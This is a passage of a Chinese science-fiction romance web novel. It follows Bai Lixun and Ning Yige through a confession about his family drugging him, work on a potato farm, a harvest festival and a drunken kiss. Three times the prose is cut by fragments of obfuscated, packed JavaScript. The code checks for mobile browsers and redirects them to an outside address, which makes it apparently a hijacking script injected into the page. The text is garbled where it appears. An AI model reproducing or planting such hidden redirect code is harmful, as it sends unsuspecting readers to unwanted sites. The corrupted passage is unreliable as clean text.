百里寻怒目而视:“宁以歌,你是在侮辱我吗?我不在乎这些。比起由百里家施舍和控制的生活,我宁愿跟着母亲流浪星际,做个一无所有的穷光蛋。” “你不在乎这些,还在学院里呼风唤雨,你真的不享受吗?”宁以歌语气平淡,但问出的话却咄咄逼人,“还是说,你选择将你的委屈与怒火发泄向更弱者?” 百里寻咬牙切齿地回答:“我在当时的学院兄弟会中也仅仅只是一面挡箭牌,决策者另有其人。他们的所作所为原不应该由我买单,只是我必须融入他们,我不能做一个异类,所以我保持了沉默,任由他们将责任推向我。” “为了融入?” “是!我如果不想成为被百里家抛弃的众多私生子之一,必须成为他们眼中一个合格的、有价值的继承人,而结交豪门高官家的子女则是一个百里家继承人该履行的责任之一——即使他们的行为再恶劣。”百里寻努力平复怒火,“是我无力脱离百里家的阴影的结果,并不是我本人的意愿。信不信在你。” “你逃跑也是为了躲避百里家?” “他们想杀我,我要跑路不是很正常?” 百里寻坦然承认,并且站起身去捡摊在地上的袋子,将掉出来的半条黄鱼塞回去:“我们该回去了吧?” 却没想到宁以歌还坐在那里,扬起的脸上漆黑如深潭的眼睛目光锐利。 “不对,在L85走私案发生后,你并没有怀疑百里家,也没有计划离开联邦。中间还发生了什么事,才促使你对百里家产生怀疑,决定逃走的。”宁以歌眯起眼睛,“是那杯酒吗?” 百里寻没回答,他的目光再次飘忽,甚至背过身去。 宁以歌也站了起来,缓步到百里寻的身前,绝不放过他一丝一毫的情绪变化:“为什么一杯下了佐料的酒会使你怀疑百里家?你的证据是什么?” 仿佛破罐子破摔似的,百里寻涨红了脸,闭着眼睛逃避宁以歌审视的目光,说:“因为我不是第一次喝到下了药的酒。” “只是先前他们给我下药是为了让我生孩子。” 第二句话说出口,百里寻睁开双眼,眼中显出因为愤怒羞耻而产生的红血丝。 长久的静默。 在此刻,宁以歌才终于得到了之前疑问的答案。 为什么百里寻遭人暗算闯入自己房间内陷入失控状态,他却并没有追究此事的幕后黑手?为什么百里寻听到并不是单纯的酒有问题后会那么惊讶?为什么他会在此事发生后不久就直奔黑市着手准备偷渡? 百里寻先前的一系列所作所为的缘由在宁以歌的大脑中逐渐清晰。 她沉沉的声音响起:“你就不想报仇?” “我当然想!”百里寻说,“可因为百里家的提防,我根本没有自己的势力,直到现在,我拥有的一切都是百里家安排好的。我拿什么报仇?单枪匹马去杀保镖众多的亲爹?还是冒着被灭口的风险向政府告发百里家的嫌疑?” 他拎着袋子的手紧握成拳,关节因用力而泛白。 “如果我因为复仇选择与百里家同归于尽,这也不是我母亲想看见的。她只希望我好好地活着,无论身处何处,我都要活下去。” “那就活下去。” 百里寻猛然抬头,盯着宁以歌,试图理解她的意图。 “我们都会活下去。”宁以歌说,“亲眼见证最后的尘埃落定。” 百里寻没有说话,而宁以歌继续说:“很高兴你今天愿意告诉我这些,如果你有什么需要我协助的地方,你可以尽管告诉我。” “你会去揭露百里家的罪行吗?” “现在还没有证据,但总会有的。”宁以歌笃定地说。 百里寻笑了一下,他只当这句是安慰。 虽然宁以歌并没有说什么温情的话,但未未出现在了百里寻的面前,它低着头蹭了蹭百里寻的小腿,安慰似的抬头看着他的脸。 矮小食草动物的眼睛永远散发着温柔的善意,令刚吐露不堪过往的百里寻五味杂陈的心安定下来。 * 今日的晚饭是在家里做的。 宁以歌下午又出门了,这次她没带上百里寻,百里寻下意识跟着出去,她却说:“现在第十一星安全了很多,我并不需要你时时刻刻的保护,你自由活动吧。” 等宁以歌回到家中的时候,她看见厨房中站了一个她意想不到的人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314731|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >百里寻居然在做饭。 宁以歌走到厨房门口,正在倒水喝的宁母拿着水杯乐呵呵地从厨房里出来:“你们聊。” 而百里寻正专注地处理上午买的黄鱼,鱼鳍和内脏被他切去,肥美的鱼肉片成片放在盘中,然后起锅烧油,手法娴熟。 宁以歌露出新奇的表情:“我听安迪说你不会做饭,看起来不像啊。” 百里寻背对着宁以歌,硬气地没说话。宁以歌见惯了他这副模样,轻车熟路地向他身边靠近,被百里寻僵硬地推开了。 “你也不怕被油溅到。” 说着,他将盘中的鱼块倒入油锅,开始煎鱼块。 “因为那时候我还不想给你们做饭。”百里寻嘟囔,“我从能够到灶台开始就学做饭了,以前妈妈忙着医治病人的时候都是我去送饭。” 宁以歌饶有兴趣地问:“为什么现在就愿意了?” 她如愿看见百里寻的耳朵尖红了,皮肤白就是这点不好,情绪反映得太明显。 “……你妈挺好的,你爸也不错,你们家收留我,这是我应该做出的回报。” 宁以歌:“哦。” 百里寻将料汁倒进锅里,然后盖上锅盖继续焖。 他又听见宁以歌的声音:“过几天就是十一星东大区的丰收节,种植园的主人们许多要去着手准备活动,收获庄稼缺了点人手,你愿不愿意去帮个忙?” 百里寻放下锅铲,回头看她。 宁以歌:“对于你的身体素质来说不是什么累活。” 百里寻就知道,她给的从来不是选择,因为他没有拒绝的权利。他翻白眼:“行。” 宁以歌:“你以后能不能少翻白眼?漂亮的眼睛老翻白眼会变丑的。而且翻白眼会降低你的亲和度。” 百里寻:“……” 宁以歌露出微笑:“没别的意思,只是作为同乡的一个小建议。” 下午的时候,宁以歌再次去了一趟十一星政府,验证百里寻所说身世的真假,然后惊讶地发现,当年在难民潮爆发前,他与母亲梅妮尔确实登记在了十一星户籍档案中,并且由人口普查员拍摄了头像录入系统。 档案中名字为小希的男童长着现在的百里寻缩小版的脸,整个人因为营养匮乏而格外瘦弱,甚至缺少本该在那个年纪具有的婴儿肥。 他的母亲与他一样拥有着醒目的白发金眼。档案显示二人是从十二星迁入十一星,九年后申请搬离十一星,随后再无讯息。 宁以歌停留在档案资料上的视线移动,梅妮尔是C级精神体,精神体物种为金猫。 可见百里家那个老东西会选择她作为孩子的母亲,是真的只是冲着她的美貌来的。 收回思绪,宁以歌继续说:“其实,我也出生自第十二星,三岁时,辰冕帝国军队来犯,家园被毁了,我不得不跟着家人逃往第十一星。我们的成长轨迹还是有一定相似性的,称为同乡也不为过吧?” 百里寻一愣,他只知道宁以歌的官方信息显示她是第十一星人,却没想到她竟然是当年难民潮中的一员。 “不过我比你倒霉一点,我是被迫离开故乡的。”宁以歌说,“我的意思是,我们曾在同一片土地上出生、成长,我们之间没必要再互相提防,其实我们早该是同盟,不是吗?” 百里寻没有立刻回答,他垂着眼揭开锅盖,将烧好的黄鱼块盛到盘中,而后歪头看着宁以歌,勾嘴一笑:“盟友,该吃饭了。” 32. 土豆 小时候的百里寻生活在十一星沿海的西大区,那里的人们以渔业为生,与东大区的粮食相结合,满足了十一星居民的饮食需求。 所以这还是百里寻头回来到十一星东大区的种植园。 宁以歌先带他去种植园主要的负责人们那边混了个脸熟,然后又让其中一名负责人带着他去分配工作。 她还特意强调,百里寻有A级精神体,并且是A级中的佼佼者,他的体力很好,不用太照顾。 交代完这些,宁以歌转身就要走。 百里寻叫住了她:“那我什么时候回去?” “这边包一日三餐,”宁以歌想了想,“不过你晚饭还是回来和我们一起吃吧,你认得路吗?” “认得。” 宁以歌于是说:“那就晚上六点回来吧,最近天黑得早,路上小心点。” 说完,宁以歌骑上十一星遍地可见但在首星极其罕见的人力双轮车走了。 负责带着百里寻去干活的种植园负责人徐望观察着百里寻凝望着宁以歌离开的背影的神情,忽然猜到了什么,好事地凑过来:“宁小哥,你也喜欢宁部长吧?” “胡说……‘也’是什么意思?”百里寻成功识别到关键词。 徐望则反问:“会有人不喜欢宁部长吗?连咱们星长都追求过她,虽然被拒绝了。何况你天天跟在她后面,咱们都知道你的心思!” 徐望一脸你我心知肚明就别装了的表情,而百里寻很想声明,他只是一个保镖,保镖的职责就是跟在雇主身后,这很正常。但宁以歌说他应该保持一个普通的身份,保镖听起来就会与这里的居民产生距离。 徐望又问:“你是宁部长的远亲是吧?出三代了吗?要是没出那可是违法啊!” 百里寻无语至极,他没想到这位负责人居然如此八卦。 但他更关心另一个问题:“星长追求过她?” “志同道合者产生好感不是很正常的事嘛!”徐望说,“只是宁部长没动凡心,星长就也放弃了。之后宁部长就回了首星升任副部长,星长没走,他说他会一直留在十一星。” 说到最后,徐望惋惜地叹口气:“可能还是对于未来选择不同吧。” 说话间,他们已经走到了田地里,百里寻对农作物的知识有限,看着地里的一丛丛矮小的绿菜一头雾水。 百里寻还没搞明白这里种的都是什么菜时,一个十二三岁的男孩就从田间迎了上来,好奇的眼睛上下一打量百里寻,然后问徐望:“阿望哥,他就是宁姐姐的跟屁虫吗?” 徐望:“小拾,怎么说话的呢?” 徐望清了清嗓子:“这位呀,有A级精神体!最近你妈妈不是去忙丰收节的事情了吗?他就是来给你帮忙的,干起活来肯定比咱们有劲。” “哦。”小拾理所当然地接过了百里寻的管理权,引领着他往地里走,“你叫什么?” “宁希。” “宁希,你真的有A级精神体吗?”小拾睁着黑白分明的眼睛望着百里寻,“我上个月才觉醒精神体,是一只雉鸡,虽然才C级,但它除害虫可厉害了。你的精神体是什么能给我看看吗?” 小拾放出了他的雉鸡精神体,红脸白颈的雉鸡雄赳赳气昂昂地漫步在田间,边跟在主人身后还一边留意土地里的虫子。 百里寻沉默了一下:“我的精神体是一只老虎。” 话一落音,雉鸡虫子也不吃了,一溜烟地躲回了精神图景。 百里寻才不紧不慢地放出阿金。 小拾第一次看见这么威风凛凛毛色油亮的老虎,张大了嘴巴忘记发出声音。 阿金趴倒在地,用尾巴蹭了蹭小拾的脚。小拾才回过神,颤颤巍巍地伸手摸向阿金的尾巴,结巴着说:“现在我相信你是A级了……” 他顿了顿,又问:“我听说A级有机会觉醒异能,你有异能吗?” “我没有异能呢。”说着,百里寻觉得阿金太过显眼,让它解除小拾的恐惧后就返回精神图景。 小拾眼巴巴地看着阿金消失在眼前,有些没看过瘾,但阿金离开后自家精神体雉鸡才敢出来。 雉鸡恢复了刚才的精神气,紧跟在主人脚边。 百里寻微微俯身:“那么今天我的工作是什么呢?” 小拾停了脚步,指了指面前种着百里寻不认识的绿色蔬菜的几亩地,雉鸡配合地在田地中开始刨土示范:“挖土豆。” “……手挖?” “不,用土豆叉。” 小拾说着从旁边的田埂上捡起一柄土豆叉,递给百里寻。 百里寻拿着短小的土豆叉,沉默良久。 “嘶,你个子太高了,这里的叉子有点不合适。” 百里寻抽动嘴角:“你们这里就没有什么机器,比如说铲土车之类的,不用拿着叉子挨个挖土豆的机器?” 小拾想了想:“铲土车我们这里倒是有,但是那是铲土的也不是挖土豆的呀!” 百里寻又问:“有没有废弃的铲土车,最好小点的?” 小拾为百里寻提供了一辆发动机损坏的铲土车,百里寻神秘地要求他再找点钢材,他要亲自打造一辆挖土豆车。 百里寻就这样带着一大堆材料和铲土车窝进了田地旁的仓库里,还把门关上了,最后只是告诉不明所以且非常不放心的小拾:“就耽误一会,等会我们挖土豆的效率会更高。” 所以当宁以歌再看见百里寻的时候,百里寻正开着经他手改装的小型挖土豆车,新添的副驾驶座上坐着小拾,两个人兴奋地在夕阳中飞驰在田地间。 她安静地看了很久,又回到百里寻回家的必经之路上继续等他。 而夕阳下的百里寻意识到了该回去吃饭的时候,拒绝了意犹未尽的小拾的晚饭邀请,骑上与宁以歌离开时的同款人力双轮车,哼着小曲儿沿着土路往宁以歌的家去。 宁以歌正站在路上的第一个路灯下细细看他。百里寻的额角全是汗,细软的黑色及肩卷发粘在脸上,劳作了一天后明明该是疲惫的,他的眼睛却亮如绿萤。 看见宁以歌,神采奕奕的百里寻猛地用脚刹住车,倒退回来,有点儿不敢相信。 “你不是说,让我自己回去吗?” 宁以歌说:“我想了想,还是怕你不认得回家的路。” “真的假的?”百里寻笑了下,“那就一起走吧。” 他等着宁以歌也骑上车,他们并肩骑行。 没骑出去多久,宁以歌问道:“小拾家的那辆铲土……挖土豆的车,是你改造的吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318552|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “是啊!”这得意洋洋的语气使宁以歌侧头看了百里寻一眼。 百里寻整个人散发着飘飘然的气息,但他没忘了问:“你早就来接我了吗?” 宁以歌没回答他的问题:“我跟徐望打听了你的表现,说你上午一去就扎进了仓库,不到两小时就带着他看不懂的机器出来了。是你利用你的异能改造了铲土车。” 百里寻语气依然得意:“好歹我的专业也是机械设计,改造一辆车对我来说不是什么难事。”虽然百里寻的文化课不怎么样,但得益于他的异能,他在机械专业课的成绩算在墨菲学院前列。 “没想到让你在十一星学以致用了。”宁以歌想了想,“你毕业后有没有再利用你的专业和异能设计或改造过机械产品?” 据她了解,百里寻毕业后的人生轨迹很简单,服了两年兵役后就进入家族企业工作,主要负责军火运输,并且时常代表家族出席重要宴会。除了总是混迹夜店成为了伊甸乐园黑金会员,无论好的坏的都再没闹出什么动静。 百里寻的语气却从云端跌落,变得沉郁:“我曾为百里家改造了一些武器。” 宁以歌眉梢微动,以百里寻今日的表现,他更适合进入军械设计领域,而不是困于家族继承人的身份。虽然明面上不再从事技术方面的工作,但他曾为家族设计改造非法军械倒是在宁以歌的意料之中。 “我还利用这些武器为百里家杀过无辜的人。”百里寻顿了下,“你不放心我就是因为忌惮我过去的事吧?” 宁以歌刹住了车,百里寻抿起唇,也跟着停下,试探地看她。 却没想到宁以歌平静地回望着他的眼睛:“我知道你不是这样的人。今天我只是怕你不适应这里的工作,所以提前来问他们你的情况。” 百里寻怔怔地看着宁以歌:“为什么?” “那天我们被星盗劫持的时候,你拥有足够的实力,却一个人也没杀。” 这些天里,百里寻的一举一动都被宁以歌牢牢记下,那天虽然星盗的血流了一地,但没有一个是死在他们面前的。 宁以歌再度蹬起车,开玩笑似的说:“要是那个变成植物人的弗兰克,他肯定会巴不得杀光所有冒犯他的人吧?” 百里寻听到此处连忙猛一蹬车,追上宁以歌:“我只是不喜欢这样肆意掌握他人生死的感觉。除非对方也想杀我。” “嗯。”宁以歌点头。 “还有啊,你说到弗兰克,我还想跟你说件事。那个臭名昭著的钢琴房事件,其实他才是主谋,我就是他行为的借口。不信你问问当事人,弗兰克带人砸琴房的时候我根本不在场。” “嗯。”宁以歌看了一眼百里寻。 百里寻继续东一下西一下地证明自己的清白,宁以歌只是安静听着。百里寻说到最后,犹豫地问她。 “宁以歌,你相信我吗?” “当然。”宁以歌认真地说,“我相信你,百里寻。” 也许是夜幕降临,四下无人,宁以歌忽然叫起这些天里不再唤出的名字,而让百里寻霎那间晃了神。 不远处的院门打开,宁母站在门口向他们招手,温暖的灯光混着饭菜的香气扑面而来。 宁以歌微笑起来:“我们到家了。” 33. 节日 只是短短半个月里,百里寻就成为了种植园的名人。 远近的乡亲们都知道种植园里来了个机械大师,大师将农家器械改造了个遍,解放了无数双手,将收获与播种的效率翻了几番。徐望等人更是在宁以歌面前感叹了许多遍:“不愧是宁部长的亲戚,宁家就没有废物。” 只是有一点不好。 机械大师喜欢关起门来造车,说什么也不愿意在大家面前现场改造工具。 不过大师也是慷慨的,他答应大家会尽力画出改造的图纸,供村民们学习实践。 小拾说:“其实也没必要用图纸,我们这里上一辈很多人也不识字,您手把手教我们不就行了!” 百里寻摇头:“不识字的话我可以尽可能都用图画来表示,但我不可能一直留在这里。而图纸可以替代我将知识传播得更久更远。” “啊?宁希哥,您不会留在这?”小拾很失望,“您会去哪?” 百里寻微笑着揉了下他的头:“那得问问我们的宁部长。” 如今的百里寻在小拾眼中早已不是只知道跟在宁部长身后的跟屁虫了,他是仅次于宁部长的偶像!偶像跟着偶像活动,这很合理。 于是尽管很不舍得,但他终究没再有异议。 百里寻好不容易绘制出第一份图纸时,十一星东大区的丰收节也到来了。 丰收节晚会一般在日落后举行,在傍晚时,宁以歌去种植园找百里寻。 白天里留守种植园的都是些年轻的小孩,此刻他们都围着百里寻,专注地观摩百里寻拿着螺丝刀转着嵌在零件上的螺丝,将两块钢件牢牢地结合在一起。 不能当着他们的面使用异能的百里寻只能用最原始的法子一点一点制作零件,他甚至在不远处建起了一处迷你炼钢炉,没有合适的形状的就自己铸。 见宁以歌来了,百里寻放下手头的零件与工具站起身,小孩子们也自觉地让开,他们都知道宁部长和宁希总有重要的话要说。 宁以歌弯下腰,捏了捏其中一个小女孩肉乎乎的脸颊:“晚会快开始了,大家都快去抢个好位置吃饭,让宁希哥哥明天再教你们组装机器吧,好不好?” “好!”小孩子们三三两两地离开。 宁以歌看向百里寻短短几天里磨出茧的手,眼角微弯:“之前你动动手指就能完成的事情现在还要这样大费周折敲敲打打,可别累着自己。” “不是你说我体力好,不用太照顾吗?” 宁以歌哑然失笑:“你的记忆力倒是没比我差到哪去。” 十一星的东大区与西大区皆有丰收节,只是一个在春季,一个在秋季。 东大区的作物大多在春天成熟,因而丰收节也定在阳春时节。曾经很长一段时间里,像小拾这样的平民是没法直接参与庆祝节日,而是圣魂教教徒奴役的对象。 再之后难民潮涌入十一星,丰收节一度停办。丰收节再恢复时,已经是如今的星长执政期间了。 在恢复举办的丰收节上,大家终于能够平等地置办并参与节日活动了。 举办活动的场地主要在距离种植园不远的小广场上。说是广场,其实只是一处近乎圆形的平土地。 百里寻好奇地四处张望着,只是一个白天的功夫,这里已然焕然一新。 民众用草绳、铁丝等材料编织出无数动物塑像轮廓框架,再将树叶、庄稼以及常见的鲜花装点在外壳上,虽然材料粗糙,却塑形精准。在傍晚昏暗的灯光里远远望去却栩栩如生,仿佛它们真的存在一样。 宁以歌为百里寻介绍:“很多年前的物种大异变使我们失去了无数自然生物种群,即使原始的它们已经消逝,但仍以精神体的形态陪伴在我们的身边。如今我们以这种方式去纪念过去的它们,将它们视作土地的守护神,只要有动物们的存在,丰收时节总会在每一年的春季如约而至。” 天色渐暗,不知是谁呼喊了一声,电火花乍现,广场中央的篝火燃起,噼啪的木材燃烧声中,无数灯光点亮了动物雕塑,它们彩色的身影在摇曳的篝火前显现,将欢呼的人群围在中间。 人们纷纷放出自己的精神体动物。动物们在人群与雕塑之间活泼地窜动,带起了一片笑声。 “在联邦,不会有谁比十一星十二星的人民更崇尚自然了。”宁以歌说,“不是出于圣魂教的极端信仰的扭曲思想,而是真正受惠于自然,所以崇敬自然。我们渴盼着大自然会变得和从前一样,没有异种,没有战争,没有歧视。无论科技水平如何攀升,我们都只是自然的孩子。” 百里寻沉默了下:“我记得,十一星是联邦异种数量最少的行星。一半是因为这颗球是受到变异影响最小的,一半是因为这里的人们曾不分彼此联合猎杀异种,才使这里的异种几乎全部灭绝。” “所以我们总相信,一切都会好起来的,我们会携手战胜一切困难,我们也会亲手共同打造我们梦想中的家园。” 一批人合力搬来了一口大锅,架在篝火上,向锅中倒入热水。 围着篝火兴奋的人们纷纷将准备的各种不同的食材拿在手中,有序地上前将食物倒入锅中,香气没过多久便飘了出来。 在等待汤水沸腾时,一个文雅的男人走到了众人面前。大家欢呼:“星长您来了!” 星长舒义向大家露出灿烂的笑容,而后向宁以歌挥手,示意她与他站在一起。 宁以歌离开百里寻,走向舒义。 人群沸腾更甚。 他们簇拥着两位曾为十一星带来新生的领导者,让他们在这大好日子里发表些讲话。 舒义与宁以歌简单说了些祝福与展望的话,此时锅中的食物也煮好了,舒义便宣布丰收节正式开始。 折叠桌椅板凳被展开来有序摆放在地上,沿着道路摆出一条长龙,丰收节的主要组织者们为大家盛上杂汤,又分发或炖或烤或卤的肉食。这些都是寻常日子里面他们舍不得吃的。 宁以歌也在为他们分晚餐的行列中。 她走到了百里寻的身前,为他切下一大块卤肉:“吃不饱的话找我,再给你分点。” 然后她停了下来。 “宁希,你不开心吗?” “没有。” 话虽如此,宁以歌还是放下了手头上的工作,坐到百里寻的身边。 百里寻收起刚刚浮现在脸上的一丝落寞,又说:“不用管我,你去忙你的吧。” 宁以歌狐疑地看他,于是又起身离开。 望着宁以歌离开的背影,百里寻嘟囔:“啊,怎么还真走了。” 他泄愤似的啃了一口碗里的牛肉,这是他踏上旅途这么多天来好不容易的一次大快朵颐,竟然比想象中的美味。 阿金趴在桌边,舔着碗里的残渣。 美食刺激产生的多巴胺短暂地冲淡了刚刚百里寻在人群中遥望宁以歌与舒义的五味杂陈。 但饱腹之后他仍然会想起那一幕。 想起宁以歌与舒义靠在一起的肩膀。 想起只为他们二人的欢呼声。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328516|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >想起徐望那一句“志同道合的人总会产生好感”。 我和她也算志同道合吗?百里寻想。 大概不算吧。只是她利用他,他妥协于她。 毕竟此时的百里寻的背景并不纯粹,不值得步步为营的宁部长交付足够的信任。 即使这片土地曾经也是他的故乡,但十五年的时间足以改变许多事。 他过去的经历已经注定了他没办法再变回曾经在十一星上的平凡的小希。 如果想再做个普通人,最好的途径就是隐藏实力,改头换面去一个没有任何人认识他的地方。 宁以歌答应过他,等到有关于L85案子的一切尘埃落定,她会为他办好一切,给他重新开始人生的机会。 还会有多久呢? 希望会快点儿,百里寻总害怕拖得久就会发生不可控的事情。 正在百里寻胡思乱想间,人们差不多都用餐结束,他们搬走食物与桌椅,腾出一片空地,手牵着手在篝火边舞蹈。 十一星方言与十二星方言混杂在一起,难民潮已过去二十多年,两者在这方天地里融合成悠扬的歌曲。 百里寻被小拾拉着也融入唱歌跳舞的人群中,他们的精神体经过多日相处已互相放下戒心,友好相处。此时它们正在主人的脚边一同随着歌声舞动身体。 晃动的篝火中,百里寻模糊看见了那一头的宁以歌,她面向这里,却不知道有没有看他。 其实百里寻原本能够分辨她的脸和目光所向,但不知道为什么这一刻他反而看不清楚了。 他忽然觉得一阵口渴,于是悄然退场,往不远处的茶水棚去。 简易搭建出的临时茶水棚里此时空无一人,只亮着灯照亮了里头的布置,中央桌上摆着几瓶不知道是什么类别的饮品,五颜六色的,百里寻也分不出来这些都是什么。 他只是想喝杯水,却看来看去愣是没找到一瓶透明的液体。他拎起一边疑似水壶的器具晃了晃,没有声音,已经空了。 于是百里寻重新将视线移向那堆彩色饮品,挑来挑去,选了瓶身上贴了一个“朱”字的一瓶淡粉色的饮品,拔出瓶塞,嗅了嗅,好像是酒。 百里寻纠结了一瞬,还是倒了小半瓶解渴。 宁以歌和塔瓦娜一同进茶水棚的时候恰好碰见从茶水棚离开的百里寻。迎面相遇时,宁以歌与百里寻目光交错,没等宁以歌叫住他,百里寻便迅速退出了她的视线。 宁以歌也没觉得奇怪,百里寻偶尔就会这样把不开心闷在心里,但总是很快就能自我调理好。 塔瓦娜没关注这两个人的互动,只是拉着宁以歌往里去,边走边说:“你不在十一星的时候,我学会了酿酒,还参与酿制了咱们十一星东大区的特产朱酒!” 宁以歌收回目光,安静听着兴奋的塔瓦娜说:“你也知道,朱酒度数很高,得和其他饮品调配着喝,否则寻常人两口就倒了。我至今还没看见有谁能干喝朱酒还能走直线的……咦,怎么少了半瓶?” 两人沉默地注视着桌上平白无故少了半瓶的呈现粉色的朱酒,而后相视一眼。 塔瓦娜:“刚才宁希走的是直线,我确定。应该不是他喝的。” 宁以歌沉默片刻:“宁希酒量很好,而且他不认识朱酒。” 塔瓦娜:“不可能有人喝完这么多朱酒还能不醉的。” 宁以歌:“你确定?” 塔瓦娜极其笃定地点头。 宁以歌眉头缓缓锁起,最终说:“我去看看他。” 34. 接吻 宁以歌是在距离节庆广场数十米外的树林中找到百里寻的。 树林的尽头是一处视野开阔的山坡,这里白日里是小孩们的游乐场,也是附近村落木材的主要采集地。 此时这里稀稀拉拉堆着些还没来得及运走加工的木材,百里寻就坐在一堆木材上,背对着宁以歌,一动没动。 宁以歌向他走去:“宁希?” 百里寻没反应。 宁以歌提高了点声音:“百里寻?” 百里寻侧过身来,星光照亮了他的侧脸与望向宁以歌的眼睛。 他没说话,只是盯着宁以歌看,看着她向自己走来,看着她坐在身边。 百里寻的声音听起来倒是出奇的平静:“你找我啊?” 借着星光,宁以歌观察着百里寻,他的脸色如常,见她打量自己,还困惑地眨了下眼睛。 这么看起来百里寻似乎很正常,完全不像塔瓦娜所说的那样严重。宁以歌不确定地问道:“茶水棚里那瓶粉色的酒是不是你喝的?” “什么粉色的酒?我不知道。”百里寻怨念地反问她,“你是怀疑我偷酒喝吗?” 宁以歌换了个话题:“那你一个人坐在这里干什么?” “因为我想。” 他的语气格外理直气壮,宁以歌讶异地看着他,然后隐约想起,她似乎很久没见他以这样硬气的口吻与她说话了。 自从监狱逃生之后,百里寻失去了一切,不得不忍气吞声地跟在她的身边,她让他干什么他就得干什么,虽然宁以歌也明白百里寻暗地里后槽牙几乎都要咬碎了,但他还是老老实实地上山下乡,明面上没有一句怨言。 “这段时间辛苦你了。”于是宁以歌这样说。 百里寻转头专注地看她的眼睛,宁以歌在他清澈的目光中继续说:“除了原定的报酬,你还有什么心愿吗?只要是现在的我的能力范围之内,我都可以满足你。” 百里寻的目光有些飘忽,似乎被某处吸引了注意力,宁以歌微微蹙眉,正想问他干什么时,百里寻便凑了上来,小心翼翼地吻上了她的唇角。 这个吻如蜻蜓点水,转瞬即离,却激起涟漪。 离开湖面的蜻蜓眼睛亮亮的,伸出舌尖舔了下刚才吻过宁以歌的双唇,唇角扬起魇足的弧度,眼睛却依然一刻没离开过她。 宁以歌湖水般平静的脸上产生古怪的波动,她问:“为什么亲我?” “我没有亲你。”百里寻认真地说,“你嘴角有残留的果汁,我帮你擦掉。” “用嘴擦是吗?” 百里寻一本正地点头。 片刻后他又在宁以歌的审视中不情不愿地承认:“好吧,其实我还想尝尝你喝的果汁什么味道……好甜啊。” 诡异的沉默单方面从宁以歌身上蔓延,而百里寻仿佛完全没有察觉到她的不对劲,还是用那双亮晶晶的绿眼睛看她:“你刚刚说会实现我一个愿望,是不是真的?” 宁以歌露出一丝意味不明的笑容,她要看看这家伙又唱的哪出:“是的,所以你的愿望是什么?” “我想和你接吻。” 宁以歌诡异的笑容更深:“接吻?” “我想接吻。”百里寻直直地盯着宁以歌张合的双唇,笃定地重复心愿。 “百里寻,你现在不清醒,我建议你清醒后再考虑这个问题。” “我很清醒。” “你不清醒。” “我很清醒!” 宁以歌长叹一声:“好吧,你很清醒。” “你到底同不同意?”百里寻不高兴地撇嘴,却还是直勾勾地盯着她问,“你都说了可以实现我一个愿望,要反悔吗?” “如果你想好了,”宁以歌微妙一顿,“可以。” 男人的眼睛一瞬间更亮了,他兴奋地向宁以歌跟前挪了挪,又谨慎地调整姿势,温热的鼻息扫过宁以歌的脸颊,而后缓缓与她的呼吸纠缠一处。 与先前一样,他将宁以歌的上半身紧搂入怀里,生怕眼前人跑了似的。 吻却不似初次那般鲁莽粗俗,这次百里寻还存留着理智,他的吻循序渐进,从谨慎地试探到逐渐大胆深入,唇齿缠绵至难分你我。 不算淡的酒味在唇齿间弥漫,宁以歌忽然思考一个问题,这酒能让百里寻折在此处,她会不会与他一同沉醉于这残存在吻中的酒? 于是宁以歌掀起眼帘,时刻注意着自己与面前人的状态。 换气的间隙,百里寻长睫轻颤,他发现了宁以歌正睁着眼睛冷静地看他的动作。 他中断了亲吻,松开宁以歌,不可置信地质问:“你为什么不闭眼睛?” “有谁规定接吻必须闭眼睛吗?” 百里寻睁大眼睛:“可是影片里面都是这样的。男女主接吻都会闭眼的。” 宁以歌一怔,而后忍不住笑出声:“百里寻,你说别人会猜到冷血恶劣的百里家族继承人、S级精神体以及暴力异能拥有者是一个爱情片爱好者吗?” 百里寻的脸气红了,但他又迅速冷静下来,冷笑着将宁以歌嘲讽他的话照葫芦画瓢地还给她:“有谁规定百里家族继承人、S级精神体以及暴力异能拥有者不能看爱情片了吗?” 随后,百里寻也不继续计较这个问题,更不再管宁以歌是什么想法,竟然直接开始耍赖:“因为你睁着眼睛,所以刚刚这次不算,得重新亲一次。” 他甚至假模假样地礼貌询问宁以歌:“可不可以?” 果然没等宁以歌回答,他就生怕她反悔似的,再次吻了上来。 静谧的星光映照着宁以歌与百里寻界限模糊的脸庞。 此刻的他们所做之事与寻常的情人并没有多少区别。 情人。 想到这个于她而言有些陌生的词汇,宁以歌心头一动又复而沉静。 她只是满足他的愿望罢了。 直到神明完整地给予许愿者他想得到的礼物,彼此的呼吸渐稳,百里寻扣在宁以歌身侧上的手沿着她的手臂轻柔地滑下,最终握住了宁以歌戴着手套的右手。 他叹息一声:“宁以歌,你的手好凉,放我衣服里我给你暖一暖。” 百里寻的上衣顺手敞开。 他就这样毫不客气地拽着宁以歌的手往自己跟前带。 